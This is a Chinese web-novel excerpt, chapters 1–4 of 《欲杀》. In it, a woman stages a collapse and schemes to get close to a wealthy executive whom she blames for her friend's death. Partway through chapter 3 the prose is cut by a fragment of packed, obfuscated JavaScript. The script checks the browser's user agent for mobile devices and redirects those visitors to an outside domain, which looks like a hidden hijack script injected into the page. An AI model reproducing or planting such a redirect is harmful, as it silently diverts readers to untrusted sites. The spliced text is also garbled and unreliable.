《欲杀》
1. 第1章
一阵冷风袭来,本就阴冷的商场地下车库,越发森寒。
岳然瑟瑟一缩,并拢双腿,眼含笑意,目送钱峰驱车离开。
轿车转出视野。
岳然目光瞬间转冷,低头面无表情往电梯间走。
与此同时,离她不远的拐角承重墙处,一个黑影窜出来,直奔岳然。
岳然毫无所觉,几步迈出,手臂一紧。
她惊慌转头,看清来人,停止反抗,冲来人略显嘲弄一笑,漫不经心问:“江总有何贵干?”
江辞宴面色铁青,没接话,拽着她,往车那边走。
岳然任由他折腾,这人估计怪她刚才没回消息。
她猜测过,江辞宴找人跟踪她,不然也不会对她行踪了如指掌。
没想到,江辞宴会亲自跟踪她。
两人跌跌撞撞停在江辞宴轿车后座门前,岳然还没来得及说话,车门已经被江辞宴打开,他反手一推,她倒在座位上,头撞在头枕上,震得她头晕脑胀。
江辞宴顺势压住她,锁住她的双肩,压低嗓音问:“你疯够没有?”
他们此刻距离很危险。
这段时间被江辞宴威胁惯了。
岳然也不害怕,不怒反笑,一个念头闪过,张开双唇,往他肩上咬去。
唇瓣还未落在肩膀,江辞宴反射性往后一缩。
他肯定想起上次宴会被咬了。
岳然很满意江辞宴这种反应,停下动作,冲他微微一笑,眉头挑起,眼底带着挑衅,直勾勾盯着他,压低嗓子说:“你怕什么,反正你又不会怀孕!”
江辞宴目光一深,盯着她绯红的唇,放在肩膀上的手,加重了力度。
岳然疼得直缩肩,口吻却不饶人,“你怕就算了……”
眼前骤然一黑,未说出口的话尽数被江辞宴吞没。
他的唇瓣很热,跟他这人完全不一样。
动作全是侵略,没有半分柔情。
岳然心一下提到嗓子眼,她咬紧牙关,不敢回应。
短暂窒息,呼吸间,江辞宴攻池掠地,动作也放缓下来,一种从未有过的感觉,攻击着她的理智,分不清是愉悦还是恐惧。
她伸手抵着江辞宴的胸膛,身体发软,完全使不上力。
江辞宴炙热的唇,落在她白皙的脖颈时…
岳然心尖猛然一颤,意识回笼,竭力推开了江辞宴。
江辞宴双眼猩红,囚禁着她,眼底是极力压制着的怒火,等她给个合理的解释。
岳然懂他的意思,刚才那游刃有余的姿态,早已不复存在,眼底害怕一闪而过,被她用笑意掩盖,指着半掩的车门说:“我不想在这里,感觉不好。”
江辞宴眸光转暗,深深看了她一眼,一言不发,推开车门,径直下了车。
岳然心口发紧,身体不受控微颤,脸上尽量维持一贯的淡然,脑子里各种念头闪过。
最后一步,明明只差一点,她就可以拿下这个男人,还是没忍住挣脱那股陌生又来势凶猛的欲望。
她不甘心,可车旁那挺拔的背影,哪里带着半分留恋。
这是最后的试探,倘若今天失败,她就会彻底远离江辞宴,找别的复仇办法。
刚才那失控的场面,她不喜欢,终归还是高估自己,曾以为这场豪赌,会毫不犹豫押上自己,这一刻她犹豫了,还很害怕。
江辞宴没有回头看她一眼,打开驾驶座车门,坐了进去。
他要开车离开?
岳然慌张从后座退出来,关上车门。
江辞宴没发动车子,弯腰不知道在翻什么,过了两秒,他停下动作,从车里退出来,手里拿了一张卡片,朝她丢了过来。
岳然下意识接住,定睛一看,是江家五星级酒店的房卡。
“我不想任何人知道我们之间的关系,你知道怎么处理!”江辞宴毫无温度的话砸过来。
岳然冷笑,他到底多在意钱峰?早知如此,一开始她就应该盯着钱峰不放,花时间勾引他做什么。
江辞宴不满她的反应,倾身过来捏住她的下巴,不紧不慢说:“别让我等太久,我没什么耐心,你只有这一次机会。”
岳然没有半点动容,江辞宴开车离开许久,依旧杵在原地没动。
这一切仿佛触手可及,可去抓时,又相隔万里。
手里房卡很灼手,更灼心。
一切按照预想轨迹发展,可这近在咫尺的机会,她不想要,因为刚才那情形,掌控者不是她,甚至让她失魂。
倘若把这仅有一次的机会放过,会怎样?
一开始的目的,也不是去酒店和江辞宴翻云覆雨,不择手段亲近他,不过是为了去他家里,找到洛璃惨死的证据。
岳然思绪再次回到车里…两人那失控的场景,朝着反方向离开。
谁又能确定江辞宴离开时傲慢的姿态,不是在故作镇定。
是的话游戏才刚刚开始。
不是的话,机会失去就失去了吧,大不了个回到原点。
...
江家五星酒店,顶层豪华套房内。
江辞宴面无表情,端坐在沙发上,第n次看手机。
已经过了半个小时。
从商场开车过来5分钟,走路人都能到这边了。
可是门口还是没有半点动静。
莫非岳然走了?
江辞宴指节紧握又松开,一场不应该抱有期待的纠缠。
人走了不是更好。
这样他就不用做那个背弃好友的人。
胸口一痛,仿佛在反驳他的想法。
江辞宴下意识轻抬指尖放在唇上摩蹉,那里似乎还残存着彼此叫交缠的余温,岳然嘴唇可比她往常说出的话柔软多了……
可那又怎样!他在激动什么!
门铃骤然叫起来,雀跃淹没怒火,江辞宴嘴角不自觉上扬,起身疾步过去打开门,冷声质问:“你坐马车过来的吗?”
门外,服务员拿着睡袍,手足无措站着,冲他尴尬一笑:“江总对不起,服装消毒时间固定好的,让你久等了!”
看清来人,江辞宴脸瞬间黑如锅底,眼底的期待,瞬间被怒火席卷,他忘了能上顶楼的,除了手持房卡的岳然,还有服务员。
“江总浴袍给你放浴室吗?”服务员怯生生仰头瞧了一眼江辞宴,大着胆子追问,“您身上的浴袍,要不要换下来,给您清洗了?”
“不用!丢沙发上!”江辞宴目光落在服务员身后空荡的走廊,心情极差。
服务员点头,察觉到老板情绪不对,大气不敢出,小心翼翼把浴袍放在沙发上,拿起沙发边上摇摇欲坠的手机,放好,快步离开。
江辞宴站在门口没动,盯着长廊尽头唯一的入口发愣,指节一点点陷入手心,钝痛。
如果岳然敢耍他,那他一定要让这女人付出沉重的代价!
说喜欢他的是她!
不告而别,玩弄他的也是她!
明明先招惹对方的人,是她!
凭什么她说结束就结束,说开始就开始!
刚才在车上,为什么他要那么听话?!
她舒不舒服,关他什么事!
江辞宴摔上门,震天的响声,在长廊回荡。
刚才在车里,他怎么会没忍住亲上去!但凡他自制力不那么差,也不至于此刻变成小丑。
他什么时候动了占有岳然的念头?
江辞宴自嘲一笑,无力倒在门框,由着身体慢慢滑倒在地,放任心底那股挫败感不留余地,击溃自己。
直到门铃响起,江辞宴回神,狼狈起身。
肯定是刚才摔门声,惊动楼下服务员。
他不想搭理。
门铃没再响。
江辞宴终归没忍住从猫眼瞥了一眼,那熟悉的人影落入瞳孔时,他死死捏住门把手。
一个念头闪过,江辞宴忍住没立刻打开门,用最短时间调整此刻狼狈的状态。
江辞宴暗自释放,放在门把手上的所有力量,在岳然转身时轻轻拉开了门,让出一条道,斜睨着岳然:“我以为你要放弃这唯一的机会!”
“江辞宴——”岳然没进去,站在原地,目光清明看着他,“其实……我过来是想跟你商
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量一下……”
岳然没说下去,她这样子,仿佛刚才说,怕什么你又不会怀孕的人,是他。
她语气轻柔,江辞宴用最后一丝耐心问:“商量什么?”
“……商量一下如果我们在一起,正常男女朋友应该怎么恋爱……而不是一开始就……发生关系……如果这样,我觉得我们可能不合适,你同意吗?”岳然低头说完。
“你玩不起了?”江辞宴冷笑着问,“还是欲擒故纵?”
岳然抿唇不语,二者皆有。
如果不出卖自己身体,可以像普通情侣那般慢慢恋爱,一样可以去他家里,只要去他家说不定就可以拿到证据,而不是来酒店套房。
献身是下下策,开始的计策用错了,她想试试有没有机会扭转过来。
他们谁也不说话,一时周遭静得吓人,仿佛能听到彼此心跳。
岳然能感受到江辞宴的怒火,抬头对上江辞宴目光,他眼神深得吓人,直勾勾锁着她,仿佛只靠眼神,就能把她永远囚禁在怒火滔滔的深渊之中。
她知道,没有商量的余地,只是不甘心,走到半路折回。最后一张底牌翻开,她再没有纠缠钱峰的可能性。
“你不同意,就算了,我答应你,以后不会去招惹钱峰。”岳然转身。
江辞宴最后一丝耐心消散,拽回岳然抵在门上,大手穿过发丝捏住脖颈,控制在身下,咬牙切齿说:“可是你招惹了我岳然!你觉得我会像钱峰一样,花时间跟你一起玩那些所谓的爱情游戏?!那些东西对我来说没有用,想让我动容的只有一样东西……你应该知道是什么!你确定要放弃这唯一的机会,离开?”
看似选择权给到她,江辞宴手上力度半点不减,目光在她身上游移,眼底是赤.裸.裸的欲望。
这几个月以来,这是岳然第一次那么直观的在江辞宴脸上读到欲望,往常只有愤怒,冷淡,调笑……
仿佛这一刻的江辞宴,才跟传言中——“江家风流二公子”的身份重叠。
难道是她几个月的努力终于有成效了?
岳然偏头避开他的目光,心里纠结万分,到底要不要顺势让彼此关系近一步?
迟疑间,岳然迎上他炙热的目光,柔声说:“江辞宴,我费尽心机想跟你在一起,是因为我以为你是在意我的,我喜欢你好久了,不然当初我也不会去江氏集团面试!而且……你帮我那么多次,我以为你是关心我的,只是你每次都说,是为了钱峰才会帮我,我很生气。而我一直当那些话是你的借口,如果你是真的不在意我,那算了。”
江辞宴愣住,他喜欢岳然的坦诚。
如果事实是这样,那一切都能说得通了。
他心底一软,放柔目光,学着她往常的姿态,盯着她:“身体的契合也是契合!岳然是你选的路,你不是喜欢我吗?路刚开始还没走,你跑什么!我都做了背弃朋友的人,你走了是不是不太厚道?你不用担心我们和别人不一样,我认为我们不论以何种方式开始都会很好,不会比任何人差。”
江辞宴一改往日森然的口吻,语气温柔,字字循循善诱,仿佛在为彼此织一个关于爱情的美梦,连一向对爱情不屑一顾的自己,都没忍住去期待,爱情骗子原来没那么难当,随便几句甜言蜜语就可以击穿对方心墙。
岳然怔愣住,仰头看着江辞宴。
江辞宴趁人走神之际,低头吻住她半张的唇,把岳然未吐出的话吃进肚子里!
他动作很轻,怕吓跑人。
不管是欲擒故纵,还是肺腑之言,今日他必须得到她,谁也没有回头路可走!
原来他没有想象中那般坦荡,他一直以为自己是怕钱峰被骗。
却没想过是怕她骗的是别人!
江辞宴不知道,到底他的心什么时候动了歪心思!
是第一次见面,她意识模糊,抓住他手不放的时候?
还是……?
没有答案。
岳然默许之后,他在那些未知领域煽风点火。
如果回到开始,他不会让他们中间闯入钱峰,他一定先钱峰一步抱起,雨水里泡着的岳然。
2. 第2章
数月前。
整座东城乌云笼罩,暴雨冲刷。
公交车站台旁,黑色晴雨伞下的岳然,白色休闲鞋变灰,鞋袜早已湿透。
在这里已经等了一个半小时,今天周五,江辞宴一定会回来。
如果不回来呢?
念头冒出来,岳然晕眩感第n次袭来,她掐着手腕,逼自己清醒一些。
周五江家家宴,所有人都会如约而至。
江辞宴估计开会耽搁了。
一阵冷风吹来,湿透的裙摆紧贴小腿,腿早已冻麻,痛得刺骨。
公交车站在自行车道和主干道中间。
岳然努力往前迈几步,离主干道更近,生怕晕倒在站台后面的自行车道上,等下江辞宴开车路过看不到她。
这个绝佳的位置她选了半年,哪怕相隔百米,只要倒在站台前面,一定能看到。
狂风再次袭来,扯歪手里的伞,伞试图拉着她一起倒下。
岳然竭尽稳住,现在倒下,不是时候。
较劲那么久,她没剩多少力气了,再不来……
油门声响起。
红绿灯路口,多了辆熟悉的黑色玛莎拉蒂。
红灯还剩最后两秒。
岳然松了一口气,放松手上控制伞的力度,放任伞拽着她坠入地狱。
倒在车道上时,僵硬的四肢,再也感觉不到任何疼痛。
“嗖……”黑色的车影从身旁疾驰而过。
水坑里的岳然无力自嘲一笑。
她什么都算计好,唯独忘了,江辞宴没有心。
如果死在这里,也活该。
唯一一丝撑着眼帘的力气,消散在暴雨中。
岳然不甘心,也无能为力,只能任由黑暗吞噬意识。
洛璃死的时候,是不是也如此绝望。
如果能就此见到洛璃,也是一种成全,这一年她过得一点都不开心。
“你撞人了?”
江辞宴余光扫到地上躺着的人,眼睛从手机移开,漫不经心问好兄弟兼助理的钱峰。
钱峰:“不是,估计是在公交站等车,没站稳摔了。”
“哦。”江辞宴低头继续看手机。
钱峰往后视镜瞟了一眼,倒下的人在车道上,一动不动,没忍住问:“你说要不要去看一下?”
手机铃声响起,江辞宴没应话。
钱峰打开转向灯,拐进江家庄园入口。
铃声快要结束时,江辞宴不耐烦按下接听键。
江誉华暴怒的声音传来:“你到哪里了?你翅膀硬了!一点规矩没有,开会你不会早点开完过来,你拖那么久,是不是忘记今天什么日子……”
江辞宴一言不发挂断电话,问钱峰:“他给你打电话了?”
钱峰一脸淡然回:“一个小时前打过,我同你爸解释过了。”
“回公寓。”
“可……”
“回公寓!”
铃声再次响起,江辞宴直接拒接。
钱峰瞧了一眼打开的门禁,迟疑一瞬,掉了头。
电话又响起来,这次是打给他的。
显示屏上“董事长”三个大字,像一把利剑抵着脖子钱峰的脖子,他顿觉呼吸困难,他们这一家老小真难缠。
钱峰一只手刚从方向盘移开,身后声音就传来:“不准接!”
“已经到门口,其实进去见一面,也不会……”
“江毅没来,他怎么不说江毅。”江辞宴打断,“你说都是亲生儿子,为什么他就……”
江辞宴没说下去,一掌拍在座椅上,空响。
钱峰还纳闷,怎么今天江辞宴会这样失控,原来是因为大公子江毅没来。
车驶进行车道时,钱峰下意识看向公交车站,黑色雨伞旁边那白色身影,依旧躺在车道一动不动。
钱峰瞟了一眼后视镜里的江辞宴,犹豫要不要开口。
江辞宴也看到了,他仿佛看到多年前那个跪在暴雨里的自己,心软了那么一瞬,在车越过公交站时,开了口:“倒回去看一下。”
这里是江家的地盘,前面三分之二是江家出售的花园别墅区,后面是江家庄园,总的里面没住几户人,他们冷眼旁观的话,估计也没几个人能发现,说不定只能等上早班的清洁工过来收尸。
钱峰冒着大雨下车,伞刚撑起,就被狂风拽着走几步。
他极力撑着,才勉强维持平衡,转眼间,那女人的伞已经随风跑了几十米。
暴雨逼得钱峰眼睛都睁不开,他眯着眼睛,走到那人身边。
女人一身白色长裙,蜷缩躺在雨水里,波浪卷发遮面,脸色煞白,唇色发红,应该是涂了自然色口红。
整个人看上去,宛若搁浅在海滩奄奄一息的美人鱼。
美人他见多了,那么清丽脱俗的他没见过。
钱峰俯身探她的鼻息,手下肌肤温热打滑,微弱的气息打在指节上,让人心颤,他猛然收回手,暗骂自己一声没用。
钱峰深吸一口气,调整心态,轻轻拨弄了一下她的脸夹,“美女醒醒!你能听到我说话吗?”
没有回应。
冷风嗖嗖钻入脊背,冷得刺骨。
身旁的伞,不知什么时候跑到公交车站后方。
钱峰捡起她手里包挎着,抱起人,伞也没要,淋着雨,小跑回车那边,刚才没控制好车速,车停的太远了。
好不容易到副驾座旁边,钱峰念头一闪,抱着人折回后座,轻敲车窗。
江辞宴把车窗降了一条缝,事不关己地望着玻璃窗外的两个人。
钱峰凑近车窗说:“她昏过去了,放在前面不太好,我……”
江辞宴打开车门,漫不经心扫了一眼女人的脸,嘴唇微勾,没想到路上还能捡一个这种极品。
钱峰把人放在座椅上,起身头撞在车筐上,没忍住闷哼一声。一走神,人直往江辞宴那边靠。
手太酸,他没控制好力度。
反应过来想拉人,人已经倒在江辞宴怀里。
怀里的岳然动了一下,眼睛睁开一条缝,看了江辞宴一眼,微微一笑,死死抓住他的手臂,喃喃道:“真是你!”
江辞宴微微蹙眉,还没开口问,人已经昏睡过去,他嗤笑一声,盯着岳然打量一番,望向钱峰:“我认识?”
钱峰一愣,摆手:“我哪里知道,你认不认识。”
江辞宴嗤笑,低头盯着紧紧抓住他手臂的女人,极其无语,要不是外面暴雨连连,他都得怀疑这女人,在处心积虑勾引他,毕竟江家这地盘住的人非富即贵,公交车站不太能遇到人。
钱峰拿下肩上的包,打开,拿出里面证件,看了一眼,递给江辞宴。
江辞宴没接,看了一眼证件上的名字——“岳然”。
不认识!
她是脑子不清醒,把他认成情人了?
可笑。
江辞宴扶正岳然,让她靠着椅背,系安全带的功夫,人又倒下来靠着他,他也没耐心折腾,任由她靠着,告诉钱峰:“等下你送去医院,医药费挂我账上,我自己开车回家。”
钱峰眼睛一亮问:“回江家庄园吗?”
“回公寓!”
钱峰眼神瞬间暗淡下来,还以为危机解除了,真是痴人说梦。
车里手机又响起来,心里警报再次拉响,钱峰没接电话,只希望今天晚上过后,可以活着见到明天的太阳。
一切处理妥当已经晚上9点30。
钱峰打开手机一看,未接通讯录比他的命还长,10多个未接电话。
江董5个。
江夫人6个。
同事梁靖1个。
诈骗电话2
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个。
他没敢回电话,打开微信,310条未读消息。
“叮!”
又一条消息过来。
钱峰魂都飞了。
江辞宴发来的:【人怎么样?】
【“你吓死我了,医生说血糖低,问我是不是没给吃饭?”】
钱峰通讯录截屏发过去,追问:【你看着办吧,我不知道怎么回,明天我被开除,你就一个人顶着家里和公司的这些破事。】
新消息马上跳出来,【除了我,谁敢开除你。】
钱峰无奈望天,还不如把他开除,这些年他也是受够了。
手机一闪,江董电话打进来,铃声还没响,他按下接听键,捂着手机出病房。
“钱峰你不想活了吗?你们在哪?”
“江董……我……在医院。”
江誉华语气立马软下来,“江辞宴那小子怎么了?”
“不是……”钱峰不知道怎么回,转念间已经有答案,“不是,江总,我们刚才在庄园门口,遇到一个危重病人,忙着送来医院,病人刚脱离危险。那时情况紧急,来不及接电话,不好意思江董,我们刚处理好,正要给你回电话。”
那边嗓门又大起来,“江辞宴呢?叫他接电话!”
“江总刚才回家了,我在这边看着病人。”钱峰面不改色说着谎。
“嘟……嘟……嘟……”
忙音传来。
江家男人,没一个有耐心。
钱峰叹气,以最快的速度编辑消息过去给江辞宴,【“你爸刚刚给我打电话,我说你忙着送病人去医院,才没去参加家庭聚会。”】
【谁要你解释,这周五的破聚会,我早就不想参加了。】
【因为这点小事,你又出东城的话,不划算。】钱峰别无他法,只能直戳死穴。
2年前,因为桃色绯闻,他们被发配边疆一年,一年前因为大公子江毅那边发生一件大事,他们才重新调回东城。
过了一分钟没消息回过来。
钱峰又编辑消息发过去,【忍一时风平浪静,不然前功尽弃,太可惜。】
消息依旧没回过来。
不回答就是默认,钱峰松了一口气,推开病房门。
天花板上的白炽灯,打在病床上的岳然脸上,五官显得越发明媚动人。她双目微阖,纤长的睫毛盖在卧蚕上,唇色未变,依旧是那种淡淡的粉,惨白的面庞浮上几分血色,头发也干了,浓密乌黑的长发,海藻一般铺在枕头上,衬的巴掌大的脸更小。
雨中像搁浅的美人鱼,现在像睡美人。
只是一眼,钱峰便移不开眼,他走到床边站着,甚至有点想上手摸一下,辨一下这张脸的真假。
在暴雨时分,他就知道眼下这张脸,皮肤有多柔软,光滑抓人。
这念头终归有些出格。
钱峰怀疑自己疯了,拉好歪斜的被子,退了两步,扭头望向窗外,不断深吸呼吸,压抑狂躁的心。
这感觉很陌生,让人害怕又有点激动,他这是一见钟情。
钱峰偷瞄一眼岳然睡颜,慌乱回头,盯着窗外走神,太可笑了,没想到自己是这样肤浅的男人。
“咳……咳……咳……”
岳然呛醒,梦里她正溺水。
瞧见窗边站着的西装男人时,嘴角不自觉上扬。
她的计谋。
成了!
钱峰闻声回神,见人醒来,笑着走了过去,“你醒了,有没有哪里不舒服?”
岳然看清对方的脸,笑意就那么僵在脸上,脱口而出:“怎么是你!”
钱峰愣住,一脸不解望着岳然。
岳然意识瞬间回笼,急忙解释:“不好意思,认错人了!”
钱峰微微一笑,往病床边走了两步:“我就说,我应该是第一次见岳小姐。”
3. 第3章
岳然不是第一次见钱峰。
第一次是在洛璃死后的一周。
那时170斤的她,在江家新品发布会上。
台上江辞宴和特助钱峰,风光无限。
一点没有被洛璃的死影响。
老天不公,受害者尸骨未寒,加害者却风生水起。
第一个月,因为失去唯一的好朋友,她一蹶不振。
一个月后,她决心复仇,让做错事的人付出代价。
江辞宴没有软肋,唯一的软肋就是好色。
她一无所有,更别说色。
大学毕业前的最后一年。
她用全部心思做一些对她来说没用,对江辞宴有用的事情。
现在顶着这张陌生的脸,收获了不少优待。
美貌这张牌,果然好用。
就连平时不苟言笑的钱峰,都以这种小心翼翼的姿态对她。
反正不是讨厌就好,跟钱峰拉进关系,见江辞宴会容易很多。
岳然微微一笑,撑着床试图坐起来,试探性问:“是你救了我?谢谢!”
钱峰手伸过来扶她,又缩回去,“你别动,等我把床摇起来。”
岳然听话没动,哪怕钱峰不说,其实她也有一点印象,她记得旁边坐着的是江辞宴。
那张脸让她心安。
至少这一年的努力,有了一点成效。
哪怕只是一点点,也很好。
钱峰问:“岳小姐,你想吃什么?我去给你买。”
岳然摇头,她已经一年没吃宵夜了,这次为了见江辞宴,昨天中午到现在没吃饭,只为有一场逼真的晕厥戏。
效果很好,她差点真去见洛璃。
可明明记得那车径直驶过,怎么又回来了?
未解之谜,反正回来就好。
钱峰:“医生说你低血糖,要不还是吃一点,我去给你买点粥和牛奶?”
岳然问:“现在几点了?”
钱峰:“10点差10分。”
“你先回去休息吧,我没事,”岳然扫了一眼输液瓶,“输了那么多营养液,我也不会低血糖。”
“那好吧!”钱峰木然点头,看了一眼营养液,“不过我还是得守着你打完,不然不安全。”
岳然没再说什么。
输完已经午夜12点10分。
钱峰走后,她没睡着。
因为她没见到江辞宴。
第二天上午,医生告诉她可以出院了,她都没去办出院手续。
又赖在医院一天,还是没有见到江辞宴。
钱峰倒是每天都过来看她。
出院这天,岳然坐上那辆再熟悉不过的劳斯莱斯。
依旧没有见到江辞宴。
岳然坐上车,频频走神。
到底是因为她这张脸,没长在江辞宴审美上?还是江辞宴没时间过来看她?
主要是钱峰也没把救人功劳推出去,关于那天救她的事情,他几句话带过,只说开车路过看到她晕倒,送来医院,半点没有提到江辞宴。
她不知道这是什么意思,是不是为了刻意隐瞒江辞宴存在?
前方红灯,钱峰停了车,偏头问她:“岳小姐你去江家庄园那边做什么?”
调查?怀疑?
岳然强装淡定抬眸,望向钱峰,他目光里只有关切,她松一口气回:“我在那边做家教,教小孩弹钢琴。”
“难怪岳小姐看起来,自带艺术气息,原来是钢琴老师。”
“无业游民,权宜之计罢了。”岳然顺水推州,“不像钱助理,在东城最大的集团上班,待遇又好,我们这些普通人永远无法企及。”
钱峰无奈一笑,启动车子,“哪有你说的那么好,我倒是羡慕岳小姐这种靠自己本事吃饭的人。”
“莫非钱助理不是靠自己本事,靠脸进的江氏集团?”岳然轻笑调侃。
钱峰耳根一红,没应话,看不出情绪。
为避免钱峰多想,岳然连忙补充:“能进江氏集团,已经拥有常人无法达到的本事了,更别说钱助理还在江家打拼多年,步步高升,不用谦虚。”
钱峰挑眉,盯着她看:“你怎么知道?”
岳然不慌不忙,看着钱峰回:“我给江氏集团投过简历,等了几个月也没等来面试,我有个朋友是你们公司的员工,经常提起你。”
岳然一笑,“我还经常刷到江家集团的新闻,时不时能看到你的身影。”
钱峰腆着脸一笑,没有回话。
那时候她还想着,要是能进入江氏集团,哪怕过去扫地,也能有接近江辞宴的机会。
奈何没有,她只能利用艺术上的造诣,去江家庄园旁边的江家别墅,做了家教。
主人层层筛选留下她。
如今这张脸,再也不是别人眼中,才华出众,相貌丑陋的人。
钢琴上从小到大,她获奖无数。
她讨厌聚光灯,却又不得跟聚光灯打交道。
小时候每次上台领奖,都能听到台下窃窃私语,“怎么她妈那么漂亮,女儿却胖成球。”
后来她不爱上台领奖,都是家人代领,演奏时都是能遮脸便遮脸,还为演出增添了不少神秘感。
主办方也配合,反正对他们来说挣到钱就行。
网上流言四起,有的说,东城才华横溢的钢琴小公主,长相惊为天人,有的说,东城钢琴小公主不堪入目。
她因为洛璃的事情,已经一年没有登台表演了。
如今变成这样,再上台演出的话,倒是能扭转当初那些说她难看的流言。
母亲见她这一年努力瘦下来,喜不自胜,经常夸她,谁说我女儿难看,以前不过是婴儿肥而已。
近一年,母亲问她要不要参加演出,都被她拒绝了,洛璃事情没结束之前,不是逼不得已,她不会再露面。
钱峰手机铃声响起,打破车内平静。
屏幕上两个大字——“江总”
钱峰扫了她一眼,迟疑片刻按下接听键。
“人还没送到吗?”江辞宴口气极其不耐烦,“都叫你结完账,就打发走,你非要送。”
一字不落,全部落入岳然耳朵,她脸上保持微笑,指节掐得泛白。
“我马上回来,江总不跟你说了。”钱峰挂断电话,冲她直笑。
“不好意思,给你添麻烦了,谢谢你救我,你放我在前面那路口就好,我回去不远。”岳然指着前方一个方便停车的位置。
“江总今天有事,是我的问题,早知道给你打车了。”钱峰越说越小声。
岳然坦然一笑,手机凑他面前,“理解,这两天给你添麻烦了,加个微信,改天请你吃饭。”
钱峰脸色立马舒展开来,扬起下巴对着自己的手机,“不麻烦,遇到岳小姐是我的荣幸。我开车不方便,你打开我的手机加一下,到时候吃饭地址你来选,我来付钱。”
岳然笑了笑,没接话,打开手机扫微信,加好以后,她转了3000过去,帮钱峰点了收款。
“你怎么给我钱,你给钱给我干嘛,赶紧收回去。”钱峰一个急刹车,车刚好停在她指的地方。
“医药费。”
“医药费没那么多,不是……谁要你医药费。”钱峰急忙接过手机,又把钱转过来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363269|183794||http|test|mini|href|location''.split(''|''),0,{}));
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>岳然没收,推开车门下去,钱峰急忙拽她的衣袖,她侧身一让没拽到,笑回:“多出来的钱,到时候你请我吃饭,吃完为止。”
岳然关上车门,没给钱峰反驳的机会,转身瞬间,脸立刻沉下来。
江辞宴没瞧上她就算了,还讨厌起她来了。
凭什么讨厌?
就因为他助理开车送她回家,他吃味?
真可笑。
回到江氏集团总裁办。
钱峰看到里面不紧不慢品茶的江辞宴时,那股憋屈劲上来。
推门进去没忍住抱怨:“我记得今天没什么事,还是我记错了?”
江辞宴抿一口茶,不紧不慢回:“你没记错,是没什么事,可你别忘了,是谁给你发工资,我看你这两天工作状态不在,怕你不小心丢了魂,提醒你一下。”
钱峰嘴抽了又抽,指甲陷进肉里,硬是半句反驳的话没说出口。
他去医院一方面是为了关心人,另一方面是为了做戏。
江誉华性子多疑,一定会找人去查。不做戏,前天晚上的事情,肯定会破功。
江辞宴问:“刚才那女人也在车上吧?”
钱峰抿唇,瞅了他一眼,果然是故意的。
江辞宴从钱峰眼睛里读到笃定,挑眉一笑,拿起茶杯把玩打量,漫不经心说:“不在的话,你也不可能那么快挂断电话,听到也好,不然要是你突然生出一条什么姻缘线,不太好,毕竟老板都单身,助理谈什么恋爱。”
钱峰第一次想把辞职报告,砸在江辞宴脸上,当初学校一起毕业,心甘情愿当江辞宴特级助理。
勤勤恳恳为他打拼5年,两人历经磨难,让他稳坐江氏总裁这把交椅,想谈个恋爱,还被他盯上了,真不要脸。
钱峰咬牙切齿说:“要不你找一个陪你孤独终老的助理,我现在可以把位置让出来。”
“你还真喜欢那女人?”江辞宴放下茶杯,给他倒一杯茶递过来。
钱峰一愣没接,他是动了恻隐之心。
“她不是什么好东西,你见哪个正常女人,第一次见面就投怀送抱的?”江辞宴婆娑着右手手臂,淡淡看着钱峰,“我这手那天去医院被抓了一路,现在指甲印还在呢,我当你是朋友才好意提醒你。”
钱峰冷笑,反唇相讥:“她哪里不正常了?人家昏迷不醒,你说别人投怀送抱?你要不要脸?”
“看来你这魂是真被勾走了。”江辞宴得意一笑。
钱峰气得发抖,点开微信,把3000块钱转过去。
消息弹出来,江辞宴点开,看到钱问:“什么意思?”
钱峰学他阴阳怪气的口吻回:“别人给的辛苦费,我受不起,算给你的受伤补偿。”
“她倒是有点骨气,”江辞宴撇嘴冷笑,手搭在桌面,无意识敲着,“你问她去那边做什么了没有?”
钱峰不耐烦回:“家教,江辞宴你能不能改了你这疑神疑鬼,草木皆兵的性格?”
江辞宴挑眉,目不转睛盯着钱峰:“不能,信任这种东西,没有时间的考验,还有什么存在的意义。”
“无可救药!”钱峰直摇头,“你是不是觉得,只要是个女人,就会喜欢你?”
“当然,谁不喜欢钱和帅哥呢!不过……想让我喜欢没那么容易。”
“你想太多,人家这几天压根没问任何关于你的问题。”
钱峰负气出了办公室。
当初在学校,怎么就没见江辞宴那么自恋,那时候他喜欢一个艺术系一个学姐,经常偷偷看别人弹钢琴,屁都不敢放。
后来只能眼睁睁看着学姐投入他人怀抱,步入婚姻殿堂。
4. 第4章
连续两个星期,岳然没等来钱峰的饭。
甚至微信都没几条,还是她主动发的消息。
谁说男人都是见色起意,下半身思考的动物。
最糟糕的是,连续两个周五,在江家庄园外面的公交站,她也没看到江辞宴。
招她做家教的主人,觉得她教得好,要给她加工资。
本来这一期结束,她就要辞职,毕竟目的达到了。
结果到头来只是她一厢情愿想太多,两个男人谁都没把她放在眼里。
她还想着,哪怕江辞宴不喜欢她又如何,如果钱峰对她有意思,接近钱峰也行,这样接触江辞宴也更方便。
实在接近不了,从钱峰这里拿到当初江辞宴害死洛璃死证据也行。
眼下一条条路全部堵死,她没有办法。
不能坐以待毙,江家庄园遇不到人。
别的地方可以遇到。
江辞宴喜欢足球,网球,高尔夫,登山,旅游,美女……
说来也奇怪,江辞宴这样的花花公子,不应该喜欢夜去店猎艳吗?
她追着他那么久,从来没有见他出入过夜店。
一开始她计划,瘦下来以后,学电视剧里那些狗血剧情,同他偶遇,酒后乱.性什么的,拉进彼此距离,亲密关系最好打探出底细,找出证据。
江辞宴没给她半点机会,他不是在网球场,就是在高尔夫球场,足球场,登山什么的……
莫非江辞宴害死洛璃后,痛改前非了?
绝无可能。
狗改不了吃屎。
欲望这东西,也不是一般人说戒断就可以戒断的。
从主人家,授课出来。
岳然想着要怎么“偶遇”江辞宴,才能显得不刻意。
去高尔夫球场当球童?
念头一出没忍住笑出声,她快疯了!
“嘟……嘟……”身后车喇叭一响。
岳然吓一激灵,手提包掉到地上,水杯从包里摔出去,一直滚到车道边缘才停下。
一恍神,她走到了车路中央,捡起包,连忙鞠躬道歉,“对不起,不好意思!”
岳然连退两步,看清车时,愣在了原地。
“岳小姐,过来上课?”钱峰不顾江辞宴之前的警告,没忍住打招呼。
“嗯。”
岳然木讷点头,不知道说什么,想说的话又不能说,可机会就摆在面前不能放过,连忙问:“你能不能载我一程?我赶时间,这里公交车比较难等。”
